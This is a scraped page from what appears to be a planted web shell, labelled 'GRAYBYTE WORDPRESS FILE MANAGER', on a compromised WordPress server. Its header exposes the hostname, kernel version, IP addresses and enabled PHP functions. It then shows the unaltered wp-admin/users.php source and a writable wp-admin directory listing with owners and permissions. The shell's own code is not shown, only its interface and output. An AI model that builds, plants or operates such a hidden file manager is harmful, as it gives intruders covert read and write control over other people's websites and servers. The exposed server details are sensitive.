✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/blackpussy06/public_html/wp-admin//users.php
<?php
/**
 * User administration panel
 *
 * @package WordPress
 * @subpackage Administration
 * @since 1.0.0
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'list_users' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to list users.' ) . '</p>',
		403
	);
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Used in the HTML title tag.
$title       = __( 'Users' );
$parent_file = 'users.php';

add_screen_option( 'per_page' );

// Contextual help - choose Help on the top right of admin panel to preview this.
get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'This screen lists all the existing users for your site. Each user has one of five defined roles as set by the site admin: Site Administrator, Editor, Author, Contributor, or Subscriber. Users with roles other than Administrator will see fewer options in the dashboard navigation when they are logged in, based on their role.' ) . '</p>' .
		'<p>' . __( 'To add a new user for your site, click the Add User button at the top of the screen or Add User in the Users menu section.' ) . '</p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'screen-content',
		'title'   => __( 'Screen Content' ),
		'content' => '<p>' . __( 'You can customize the display of this screen in a number of ways:' ) . '</p>' .
						'<ul>' .
						'<li>' . __( 'You can hide/display columns based on your needs and decide how many users to list per screen using the Screen Options tab.' ) . '</li>' .
						'<li>' . __( 'You can filter the list of users by User Role using the text links above the users list to show All, Administrator, Editor, Author, Contributor, or Subscriber. The default view is to show all users. Unused User Roles are not listed.' ) . '</li>' .
						'<li>' . __( 'You can view all posts made by a user by clicking on the number under the Posts column.' ) . '</li>' .
						'</ul>',
	)
);

$help = '<p>' . __( 'Hovering over a row in the users list will display action links that allow you to manage users. You can perform the following actions:' ) . '</p>' .
	'<ul>' .
	'<li>' . __( '<strong>Edit</strong> takes you to the editable profile screen for that user. You can also reach that screen by clicking on the username.' ) . '</li>';

if ( is_multisite() ) {
	$help .= '<li>' . __( '<strong>Remove</strong> allows you to remove a user from your site. It does not delete their content. You can also remove multiple users at once by using bulk actions.' ) . '</li>';
} else {
	$help .= '<li>' . __( '<strong>Delete</strong> brings you to the Delete Users screen for confirmation, where you can permanently remove a user from your site and delete their content. You can also delete multiple users at once by using bulk actions.' ) . '</li>';
}

$help .= '<li>' . __( '<strong>View</strong> takes you to a public author archive which lists all the posts published by the user.' ) . '</li>';

if ( current_user_can( 'edit_users' ) ) {
	$help .= '<li>' . __( '<strong>Send password reset</strong> sends the user an email with a link to set a new password.' ) . '</li>';
}

$help .= '</ul>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'action-links',
		'title'   => __( 'Available Actions' ),
		'content' => $help,
	)
);
unset( $help );

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/users-screen/">Documentation on Managing Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/roles-and-capabilities/">Descriptions of Roles and Capabilities</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter users list' ),
		'heading_pagination' => __( 'Users list navigation' ),
		'heading_list'       => __( 'Users list' ),
	)
);

if ( empty( $_REQUEST ) ) {
	$referer = '<input type="hidden" name="wp_http_referer" value="' . esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
} elseif ( isset( $_REQUEST['wp_http_referer'] ) ) {
	$redirect = remove_query_arg( array( 'wp_http_referer', 'updated', 'delete_count' ), wp_unslash( $_REQUEST['wp_http_referer'] ) );
	$referer  = '<input type="hidden" name="wp_http_referer" value="' . esc_attr( $redirect ) . '" />';
} else {
	$redirect = 'users.php';
	$referer  = '';
}

$update = '';

switch ( $wp_list_table->current_action() ) {

	/* Bulk Dropdown menu Role changes */
	case 'promote':
		check_admin_referer( 'bulk-users' );

		if ( ! current_user_can( 'promote_users' ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		$editable_roles = get_editable_roles();
		$role           = $_REQUEST['new_role'];

		// Mock `none` as editable role.
		$editable_roles['none'] = array(
			'name' => __( '&mdash; No role for this site &mdash;' ),
		);

		if ( ! $role || empty( $editable_roles[ $role ] ) ) {
			wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
		}

		if ( 'none' === $role ) {
			$role = '';
		}

		$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
		$update   = 'promote';

		foreach ( $user_ids as $id ) {
			if ( ! current_user_can( 'promote_user', $id ) ) {
				wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 );
			}

			// The new role of the current user must also have the promote_users cap, be a multisite super admin and must not be empty.
			if ( $id === $current_user->ID ) {
				if ( '' === $role ) {
					wp_die( __( 'Sorry, you cannot remove your own role.' ), 403 );
				}

				if ( $wp_roles->role_objects[ $role ]->has_cap( 'promote_users' ) || ( is_multisite() && current_user_can( 'manage_network_users' ) ) ) {
					continue;
				}

				$update = 'err_admin_role';
				continue;
			}

			// If the user doesn't already belong to the blog, bail.
			if ( is_multisite() && ! is_user_member_of_blog( $id ) ) {
				wp_die(
					'<h1>' . __( 'An error occurred.' ) . '</h1>' .
					'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
					403
				);
			}

			$user = get_userdata( $id );

			// If $role is empty, none will be set.
			$user->set_role( $role );
		}

		wp_redirect( add_query_arg( 'update', $update, $redirect ) );
		exit;

	case 'dodelete':
		if ( is_multisite() ) {
			wp_die( __( 'User deletion is not allowed from this screen.' ), 400 );
		}

		check_admin_referer( 'delete-users' );

		if ( empty( $_REQUEST['users'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );

		if ( empty( $_REQUEST['delete_option'] ) ) {
			$url = self_admin_url( 'users.php?action=delete&users[]=' . implode( '&users[]=', $user_ids ) . '&error=true' );
			$url = str_replace( '&amp;', '&', wp_nonce_url( $url, 'bulk-users' ) );
			wp_redirect( $url );
			exit;
		}

		if ( ! current_user_can( 'delete_users' ) ) {
			wp_die( __( 'Sorry, you are not allowed to delete users.' ), 403 );
		}

		$update       = 'del';
		$delete_count = 0;

		foreach ( $user_ids as $id ) {
			if ( ! current_user_can( 'delete_user', $id ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete that user.' ), 403 );
			}

			if ( $id === $current_user->ID ) {
				$update = 'err_admin_del';
				continue;
			}

			if ( 'reassign' === $_REQUEST['delete_option'][ $id ] && empty( $_REQUEST['reassign_user'][ $id ] ) ) {
				$update = 'err_missing_reassign';
				continue;
			}

			switch ( $_REQUEST['delete_option'][ $id ] ) {
				case 'delete':
					wp_delete_user( $id );
					break;
				case 'reassign':
					wp_delete_user( $id, $_REQUEST['reassign_user'][ $id ] );
					break;
			}

			++$delete_count;
		}

		$redirect = add_query_arg(
			array(
				'delete_count' => $delete_count,
				'update'       => $update,
			),
			$redirect
		);
		wp_redirect( $redirect );
		exit;

	case 'resetpassword':
		check_admin_referer( 'bulk-users' );

		if ( ! current_user_can( 'edit_users' ) ) {
			$errors = new WP_Error( 'edit_users', __( 'Sorry, you are not allowed to edit users.' ) );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			wp_redirect( $redirect );
			exit();
		}

		$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );

		$reset_count = 0;

		foreach ( $user_ids as $id ) {
			if ( ! current_user_can( 'edit_user', $id ) ) {
				wp_die( __( 'Sorry, you are not allowed to edit this user.' ) );
			}

			if ( $id === $current_user->ID ) {
				$update = 'err_admin_reset';
				continue;
			}

			// Send the password reset link.
			$user = get_userdata( $id );
			if ( true === retrieve_password( $user->user_login ) ) {
				++$reset_count;
			}
		}

		$redirect = add_query_arg(
			array(
				'reset_count' => $reset_count,
				'update'      => 'resetpassword',
			),
			$redirect
		);
		wp_redirect( $redirect );
		exit;

	case 'delete':
		if ( is_multisite() ) {
			wp_die( __( 'User deletion is not allowed from this screen.' ), 400 );
		}

		check_admin_referer( 'bulk-users' );

		if ( empty( $_REQUEST['users'] ) && empty( $_REQUEST['user'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		if ( ! current_user_can( 'delete_users' ) ) {
			$errors = new WP_Error( 'edit_users', __( 'Sorry, you are not allowed to delete users.' ) );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			$user_ids = array( (int) $_REQUEST['user'] );
		} else {
			$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
		}

		$all_user_ids = $user_ids;

		if ( in_array( $current_user->ID, $user_ids, true ) ) {
			$user_ids = array_diff( $user_ids, array( $current_user->ID ) );
		}

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
		<form method="post" name="updateusers" id="updateusers" class="delete-and-reassign-users-form">
		<?php wp_nonce_field( 'delete-users' ); ?>
		<?php echo $referer; ?>

		<div class="wrap">
		<h1><?php _e( 'Delete Users' ); ?></h1>

		<?php
		if ( isset( $_REQUEST['error'] ) ) :
			wp_admin_notice(
				'<strong>' . __( 'Error:' ) . '</strong> ' . __( 'Please select an option.' ),
				array(
					'additional_classes' => array( 'error' ),
				)
			);
		endif;
		?>

		<?php if ( 1 === count( $all_user_ids ) ) : ?>
			<p><?php _e( 'You have specified this user for deletion:' ); ?></p>
		<?php else : ?>
			<p><?php _e( 'You have specified these users for deletion:' ); ?></p>
		<?php endif; ?>

		<ul>
		<?php
		$go_delete          = 0;
		$users_have_content = false;

		foreach ( $all_user_ids as $id ) {
			$user = get_userdata( $id );

			if ( $id === $current_user->ID ) {
				echo '<li>';
				printf(
					/* translators: 1: User ID, 2: User login. */
					__( 'ID #%1$s: %2$s <strong>The current user will not be deleted.</strong>' ),
					$id,
					$user->user_login
				);
				echo "</li>\n";
			} else {
				echo '<li>';
				printf(
					'<input type="hidden" name="users[]" value="%s" />',
					esc_attr( $id )
				);

				/**
				 * Filters whether the users being deleted have additional content
				 * associated with them outside of the `post_author` and `link_owner` relationships.
				 *
				 * @since 5.2.0
				 *
				 * @param bool  $users_have_additional_content Whether the users have additional content. Default false.
				 * @param int[] $user_ids                      Array of IDs for users being deleted.
				 */
				$user_has_content = (bool) apply_filters( 'users_have_additional_content', false, array( $id ) );

				if ( ! $user_has_content ) {
					if ( $wpdb->get_var(
						$wpdb->prepare(
							"SELECT ID FROM {$wpdb->posts}
							WHERE post_author = %d
							LIMIT 1",
							$id
						)
					) ) {
						$user_has_content = true;
					} elseif ( $wpdb->get_var(
						$wpdb->prepare(
							"SELECT link_id FROM {$wpdb->links}
							WHERE link_owner = %d
							LIMIT 1",
							$id
						)
					) ) {
						$user_has_content = true;
					}
				}

				if ( ! $user_has_content ) {
					?>
					<input type="hidden" name="delete_option[<?php echo esc_attr( $id ); ?>]" value="delete" required />
					<p>
					<?php
					printf(
						/* translators: 1: User login. 2: User ID */
						__( '%1$s (ID #%2$s): This user does not have any content.' ),
						'<strong>' . $user->user_login . '</strong>',
						$id
					);
					?>
					</p>
					<?php
				} else {
					?>
					<fieldset>
					<legend>
					<?php
					printf(
						/* translators: 1: User login, 2: User ID. */
						__( '%1$s (ID #%2$s): What should be done with the content owned by this user?' ),
						'<strong>' . $user->user_login . '</strong>',
						$id
					);
					?>
					</legend>

					<ul>
						<li>
							<input type="radio" id="delete_option_<?php echo esc_attr( $id ); ?>" name="delete_option[<?php echo esc_attr( $id ); ?>]" value="delete" required />
							<label for="delete_option_<?php echo esc_attr( $id ); ?>"><?php _e( 'Delete all content.' ); ?></label>
						</li>
						<li>
							<input type="radio" id="reassign_option_<?php echo esc_attr( $id ); ?>" name="delete_option[<?php echo esc_attr( $id ); ?>]" value="reassign" required />
							<label for="reassign_option_<?php echo esc_attr( $id ); ?>"><?php _e( 'Attribute all content to another user.' ); ?></label>

							<label for="reassign_user_<?php echo esc_attr( $id ); ?>" class="screen-reader-text"><?php _e( 'Select a user to attribute the content to.' ); ?></label>
							<?php
							wp_dropdown_users(
								array(
									'show_option_none'  => __( 'Select a user' ),
									'option_none_value' => '',
									'name'              => 'reassign_user[' . $id . ']',
									'id'                => 'reassign_user_' . $id,
									'exclude'           => $user_ids,
									'show'              => 'display_name_with_login',
								)
							);
							?>
						</li>
					</ul>
					</fieldset>
					<?php
					$users_have_content = true;
				}

				echo "</li>\n";

				++$go_delete;
			}
		}
		?>
		</ul>

		<?php
		if ( $go_delete ) :
			/**
			 * Fires at the end of the delete users form prior to the confirm button.
			 *
			 * @since 4.0.0
			 * @since 4.5.0 The `$user_ids` parameter was added.
			 *
			 * @param WP_User $current_user WP_User object for the current user.
			 * @param int[]   $user_ids     Array of IDs for users being deleted.
			 */
			do_action( 'delete_user_form', $current_user, $user_ids );
			?>
			<input type="hidden" name="action" value="dodelete" />
			<?php submit_button( __( 'Confirm Deletion' ), 'primary' ); ?>

		<?php else : ?>

			<p><?php _e( 'There are no valid users selected for deletion.' ); ?></p>

		<?php endif; ?>
		</div><!-- .wrap -->
		</form><!-- #updateusers -->
		<?php

		break;

	case 'doremove':
		check_admin_referer( 'remove-users' );

		if ( ! is_multisite() ) {
			wp_die( __( 'You cannot remove users.' ), 400 );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		if ( ! current_user_can( 'remove_users' ) ) {
			wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
		}

		$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
		$update   = 'remove';

		foreach ( $user_ids as $id ) {
			if ( ! current_user_can( 'remove_user', $id ) ) {
				$update = 'err_admin_remove';
				continue;
			}

			remove_user_from_blog( $id, $blog_id );
		}

		$redirect = add_query_arg( array( 'update' => $update ), $redirect );
		wp_redirect( $redirect );
		exit;

	case 'remove':
		check_admin_referer( 'bulk-users' );

		if ( ! is_multisite() ) {
			wp_die( __( 'You cannot remove users.' ), 400 );
		}

		if ( empty( $_REQUEST['users'] ) && empty( $_REQUEST['user'] ) ) {
			wp_redirect( $redirect );
			exit;
		}

		if ( ! current_user_can( 'remove_users' ) ) {
			$error = new WP_Error( 'edit_users', __( 'Sorry, you are not allowed to remove users.' ) );
		}

		if ( empty( $_REQUEST['users'] ) ) {
			$user_ids = array( (int) $_REQUEST['user'] );
		} else {
			$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );
		}

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
		<form method="post" name="updateusers" id="updateusers">
		<?php wp_nonce_field( 'remove-users' ); ?>
		<?php echo $referer; ?>

		<div class="wrap">
		<h1><?php _e( 'Remove Users from Site' ); ?></h1>

		<?php if ( 1 === count( $user_ids ) ) : ?>
			<p><?php _e( 'You have specified this user for removal:' ); ?></p>
		<?php else : ?>
			<p><?php _e( 'You have specified these users for removal:' ); ?></p>
		<?php endif; ?>

		<ul>
		<?php
		$go_remove = false;

		foreach ( $user_ids as $id ) {
			$user = get_userdata( $id );

			if ( ! current_user_can( 'remove_user', $id ) ) {
				echo '<li>';
				printf(
					/* translators: 1: User ID, 2: User login. */
					__( 'ID #%1$s: %2$s <strong>Sorry, you are not allowed to remove this user.</strong>' ),
					$id,
					$user->user_login
				);
				echo "</li>\n";
			} else {
				echo '<li>';
				printf(
					'<input type="hidden" name="users[]" value="%s" />',
					esc_attr( $id )
				);
				printf(
					/* translators: 1: User ID, 2: User login. */
					__( 'ID #%1$s: %2$s' ),
					$id,
					$user->user_login
				);
				echo "</li>\n";

				$go_remove = true;
			}
		}
		?>
		</ul>

		<?php if ( $go_remove ) : ?>

			<input type="hidden" name="action" value="doremove" />
			<?php submit_button( __( 'Confirm Removal' ), 'primary' ); ?>

		<?php else : ?>

			<p><?php _e( 'There are no valid users selected for removal.' ); ?></p>

		<?php endif; ?>
		</div><!-- .wrap -->
		</form><!-- #updateusers -->
		<?php

		break;

	default:
		if ( ! empty( $_GET['_wp_http_referer'] ) ) {
			wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
			exit;
		}

		if ( $wp_list_table->current_action() && ! empty( $_REQUEST['users'] ) ) {
			$screen   = get_current_screen()->id;
			$sendback = wp_get_referer();
			$user_ids = array_map( 'intval', (array) $_REQUEST['users'] );

			/** This action is documented in wp-admin/edit.php */
			$sendback = apply_filters( "handle_bulk_actions-{$screen}", $sendback, $wp_list_table->current_action(), $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			wp_safe_redirect( $sendback );
			exit;
		}

		$wp_list_table->prepare_items();
		$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

		if ( $pagenum > $total_pages && $total_pages > 0 ) {
			wp_redirect( add_query_arg( 'paged', $total_pages ) );
			exit;
		}

		require_once ABSPATH . 'wp-admin/admin-header.php';

		$messages = array();
		if ( isset( $_GET['update'] ) ) :
			$delete_count = isset( $_GET['delete_count'] ) ? (int) $_GET['delete_count'] : 0;

			switch ( $_GET['update'] ) {
				case 'del':
				case 'del_many':
					if ( 1 === $delete_count ) {
						$message = __( 'User deleted.' );
					} else {
						/* translators: %s: Number of users. */
						$message = _n( '%s user deleted.', '%s users deleted.', $delete_count );
					}
					$message    = sprintf( $message, number_format_i18n( $delete_count ) );
					$messages[] = wp_get_admin_notice(
						$message,
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'add':
					$message = __( 'New user created.' );
					$user_id = $_GET['id'] ?? false;
					if ( $user_id && current_user_can( 'edit_user', $user_id ) ) {
						$message .= sprintf(
							' <a href="%1$s">%2$s</a>',
							esc_url(
								add_query_arg(
									'wp_http_referer',
									urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ),
									self_admin_url( 'user-edit.php?user_id=' . $user_id )
								)
							),
							__( 'Edit user' )
						);
					}

					$messages[] = wp_get_admin_notice(
						$message,
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'resetpassword':
					$reset_count = isset( $_GET['reset_count'] ) ? (int) $_GET['reset_count'] : 0;
					if ( 1 === $reset_count ) {
						$message = __( 'Password reset link sent.' );
					} else {
						/* translators: %s: Number of users. */
						$message = _n( 'Password reset links sent to %s user.', 'Password reset links sent to %s users.', $reset_count );
					}
					$message    = sprintf( $message, number_format_i18n( $reset_count ) );
					$messages[] = wp_get_admin_notice(
						$message,
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'promote':
					$messages[] = wp_get_admin_notice(
						__( 'Changed roles.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'err_admin_role':
					$messages[] = wp_get_admin_notice(
						__( 'You cannot change your own role to one that does not allow managing other users. Your role was not changed.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
					if ( $delete_count > 0 ) {
						$messages[] = wp_get_admin_notice(
							__( 'Other user roles have been changed.' ),
							array(
								'id'                 => 'message',
								'additional_classes' => array( 'updated' ),
								'dismissible'        => true,
							)
						);
					}
					break;
				case 'err_admin_del':
					$messages[] = wp_get_admin_notice(
						__( 'You cannot delete the current user.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
					if ( $delete_count > 0 ) {
						$messages[] = wp_get_admin_notice(
							__( 'Other users have been deleted.' ),
							array(
								'id'                 => 'message',
								'additional_classes' => array( 'updated' ),
								'dismissible'        => true,
							)
						);
					}
					break;
				case 'err_missing_reassign':
					$messages[] = wp_get_admin_notice(
						__( 'Users could not be deleted because no user was selected for content reassignment.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
					if ( $delete_count > 0 ) {
						$messages[] = wp_get_admin_notice(
							__( 'Other users have been deleted.' ),
							array(
								'id'                 => 'message',
								'additional_classes' => array( 'updated' ),
								'dismissible'        => true,
							)
						);
					}
					break;
				case 'remove':
					$messages[] = wp_get_admin_notice(
						__( 'User removed from this site.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated', 'fade' ),
							'dismissible'        => true,
						)
					);
					break;
				case 'err_admin_remove':
					$messages[] = wp_get_admin_notice(
						__( 'You cannot remove the current user.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
					$messages[] = wp_get_admin_notice(
						__( 'Other users have been removed.' ),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'updated', 'fade' ),
							'dismissible'        => true,
						)
					);
					break;
			}
		endif;
		?>

		<?php
		if ( isset( $errors ) && is_wp_error( $errors ) ) :
			$error_message = '';
			foreach ( $errors->get_error_messages() as $err ) {
				$error_message .= "<li>$err</li>\n";
			}
			wp_admin_notice(
				'<ul>' . $error_message . '</ul>',
				array(
					'additional_classes' => array( 'error' ),
				)
			);
		endif;

		if ( ! empty( $messages ) ) {
			foreach ( $messages as $msg ) {
				echo $msg;
			}
		}
		?>

		<div class="wrap">
		<h1 class="wp-heading-inline">
			<?php echo esc_html( $title ); ?>
		</h1>

		<?php
		if ( current_user_can( 'create_users' ) ) {
			printf(
				'<a href="%1$s" class="page-title-action">%2$s</a>',
				esc_url( admin_url( 'user-new.php' ) ),
				esc_html__( 'Add User' )
			);
		} elseif ( is_multisite() && current_user_can( 'promote_users' ) ) {
			printf(
				'<a href="%1$s" class="page-title-action">%2$s</a>',
				esc_url( admin_url( 'user-new.php' ) ),
				esc_html__( 'Add Existing User' )
			);
		}

		if ( strlen( $usersearch ) ) {
			echo '<span class="subtitle">';
			printf(
				/* translators: %s: Search query. */
				__( 'Search results for: %s' ),
				'<strong>' . esc_html( $usersearch ) . '</strong>'
			);
			echo '</span>';
		}
		?>

		<hr class="wp-header-end">

		<?php $wp_list_table->views(); ?>

		<form method="get">

		<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>

		<?php if ( ! empty( $_REQUEST['role'] ) ) { ?>
			<input type="hidden" name="role" value="<?php echo esc_attr( $_REQUEST['role'] ); ?>" />
		<?php } ?>

		<?php $wp_list_table->display(); ?>

		</form>

		<div class="clear"></div>
		</div><!-- .wrap -->
		<?php
		break;

} // End of the $doaction switch.

require_once ABSPATH . 'wp-admin/admin-footer.php';

Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Sep 2026 3.49 AM
blackpussy06 / nobody
0750
css
--
12 Sep 2026 3.08 AM
blackpussy06 / blackpussy06
0755
images
--
12 Sep 2026 3.08 AM
blackpussy06 / blackpussy06
0755
includes
--
12 Sep 2026 3.08 AM
blackpussy06 / blackpussy06
0755
js
--
12 Sep 2026 3.08 AM
blackpussy06 / blackpussy06
0755
maint
--
12 Sep 2026 3.08 AM
blackpussy06 / blackpussy06
0755
network
--
12 Sep 2026 3.08 AM
blackpussy06 / blackpussy06
0755
user
--
12 Sep 2026 3.08 AM
blackpussy06 / blackpussy06
0755
about.php
16.099 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
admin-ajax.php
5.025 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
admin-footer.php
2.738 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
admin-functions.php
0.461 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
admin-header.php
9.066 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
admin-post.php
1.974 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
admin.php
12.632 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
async-upload.php
5.473 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
authorize-application.php
10.093 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
comment.php
11.37 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
contribute.php
5.523 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
credits.php
4.044 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
custom-background.php
0.471 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
custom-header.php
0.48 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
customize.php
11.314 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
edit-comments.php
14.145 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
edit-form-advanced.php
28.79 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
edit-form-blocks.php
15.164 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
edit-form-comment.php
13.652 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
edit-link-form.php
6.198 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
edit-tag-form.php
10.408 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
edit-tags.php
21.982 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
edit.php
19.484 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
erase-personal-data.php
7.329 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
error_log
1.43 KB
10 Sep 2026 8.29 PM
blackpussy06 / blackpussy06
0644
export-personal-data.php
7.754 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
export.php
11.001 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
font-library.php
1.445 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
freedoms.php
4.467 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
import.php
7.584 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
index.php
7.68 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
install-helper.php
6.798 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
install.php
17.944 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
link-add.php
0.912 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
link-manager.php
4.259 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
link-parse-opml.php
2.657 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
link.php
2.888 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
load-scripts.php
2.021 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
load-styles.php
2.925 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
media-new.php
3.173 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
media-upload.php
3.582 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
media.php
0.8 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
menu-header.php
9.816 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
menu.php
17.709 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
moderation.php
0.3 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
ms-admin.php
0.191 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
ms-delete-site.php
4.505 KB
10 Sep 2026 9.28 PM
blackpussy06 / blackpussy06
0644
ms-edit.php
0.211 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
ms-options.php
0.224 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
ms-sites.php
0.21 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
ms-themes.php
0.212 KB
7 Sep 2026 5.43 AM
blackpussy06 / blackpussy06
0644
ms-upgrade-network.php
